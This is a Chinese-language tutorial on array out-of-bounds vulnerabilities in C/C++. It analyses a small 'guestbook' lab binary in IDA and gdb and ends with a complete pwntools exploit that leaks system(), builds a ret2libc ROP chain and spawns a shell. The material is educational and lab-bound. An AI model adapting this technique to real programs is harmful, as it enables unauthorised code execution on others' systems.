基础知识
数组的原理
- 数组是内存中一段连续的存储空间,一个数组中包含多个类型相同的数组元素;
- 数组通过数组名在内存中找到对应的数组空间;
- 数组元素通过数组名和索引获取;
如下程序定义了含有10个元素的数组a,依次打印出数组元素的地址;
1 |
|
运行结果显示,各个元素之间的地址相差一个int类型数值的大小,a[4]的地址与a的地址相 差0x10个字节,即4*sizeof(int)大小;
通过IDA的反汇编进一步明确元素的寻址方式,IDA能够获取各个变量用ebp表示出的地址,数组a的地址为ebp-0x34
;
下图汇编语言中,变量i的地址是ebp-0x0C
,将i的值赋给eax和edx,然后将edx的值赋给数组元素;
每个数组元素的地址为ebp-0x34+eax*4
,其中ebp-0x34
是数组a的地址,eax*4
是索引i*sizeof(int)
;
因此,确定数组元素寻址方式为数组地址+索引*数组元素大小
;
漏洞原理
C和C++不对数组做边界检查,除了语言对编程人员信任和程序性能的顾虑外,C和C++的数组边界检查本身也是一件困难的事情:
- 数组越界的判定不仅依赖于下标的值,也依赖于指针的类型;
- 对于指向数组的指针来说,在程序中若没有显式的指明数组长度,还需要证明其地址计算结果位于该数组内;
- 程序运行时,数组可能重新进行了动态分配,长度发生了变化;
这些情况使得边界检查将会给程序性能带来极大的负担,C和C++中并不能很好的防范数组越界漏洞;
漏洞分析
漏洞源码
以如下程序为例进行漏洞分析;
1 | /* guestbook */ |
分析
- 代码实现了简单的查看名字和修改名字的功能,用户输入4个名字后,把字符串所在的地址存入指针数组dest中;
- 在case1中,通过输入序号查看对应的名字;
- 在case2中,通过输入序号修改对应的名字;
- 这两个环节没有对输入的序号做检查,由于数组dest只有4个元素,当输入的序号大于3或小于0,都会造成数组越界;
运行guestbook
查看功能输入大于3的序号,会输出乱码;
修改功能输入大于3的序号则会出现段错误;
由此判断本程序中的数组越界漏洞能够对内存进行查看和修改;
漏洞利用思路
程序中sys变量记录了system函数的地址,利用的思路是,通过数组越界读取sys变量的值即system函数的地址,并利用数组越界构造ROP覆写返回地址为system函数,最终获取shell:
读取system地址:
程序中将system函数的地址写在了sys变量里,通过IDA来查看该变量的地址;
- s[4]即为dest数组的地址为
ebp-0x2C
; - V5记录了system的地址,为
ebp-0x1C
;
- s[4]即为dest数组的地址为
结合gdb调试进行进一步观察 ,在system地址赋值之后设置断点,查看栈中内容如下
- 数组dest中存放字符串地址,接下来是system地址和dest地址;
- 由于数组dest的参数是字符串地址,为了读出system地址,输入序号5,这样越过数组dest的边界覆盖了紧邻的
0xffe61bec
,即dest数组的地址; - puts函数会在遇到
\0
时停止输出,因此可以从0xffe61bec
一直往后读直到遇到结束符\0
,里面就包含了system函数地址;
构造ROP劫持程序流
除了利用数组越界读取数据,还可以对栈中内容进行覆写;
构造一个ROP,让
function
函数返回时执行system函数,从而获取shell;在修改名字时仍然选择序号5,为了能够将ROP覆写从返回地址的位置,填充从
0xffe61bec
到返回地址之间的内存;payload如下
1
2rop = p32(system)+p32(0xdeadbeef)+p32(binsh_addr)
payload = 'a'*0x2c + p32(0xdeadbeef) + rop覆写之后的栈中内容如下;
接着执行ret指令,相当于执行
pop eip
,eip就会指向system函数地址,esp则向下移动到0xffe61c1c
处;跟踪进入system函数后,后续将先执行
sub esp,0xc
,然后通过esp+0x10
查找system函数的参数,此时esp为0xffe61c20-0xc=0xffe61c14
,esp+0x10
即为0xffe61c24
,正好为写入/bin/sh
字符串的地址处;最终payload如下;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43from pwn import *
context.log_level='debug'
r= process("./guestbook")
r.recvuntil(">>>")
r.sendline('A')
r.recvuntil(">>>")
r.sendline('B')
r.recvuntil(">>>")
r.sendline('C')
r.recvuntil(">>>")
r.sendline('D')
r.recvuntil(">>")
r.sendline("1")
r.recvuntil(">>>")
r.sendline("5")
gdb.attach(r)
data = r.recv(20)
system = u32(data[-4:])
print "[*]system:0x%x" %system
l = ELF("./guestbook").libc
l.address = system - l.symbols['system']
print("[*]base: 0x%x" % l.address)
binsh = l.search("/bin/sh\x00").next()
print "[*]binsh:0x%x" %binsh
rop = p32(system)+p32(0xdeadbeef)+p32(binsh)
payload = 'a'*0x2c + p32(0xdeadbeef) + rop
r.recvuntil(">>")
r.sendline("2")
r.recvuntil(">>>")
r.sendline("5")
r.recvuntil(">>>")
r.sendline(payload)
r.recvuntil(">>")
r.sendline("3")
r.interactive()执行payload,成功getshell;
备注:实验程序下载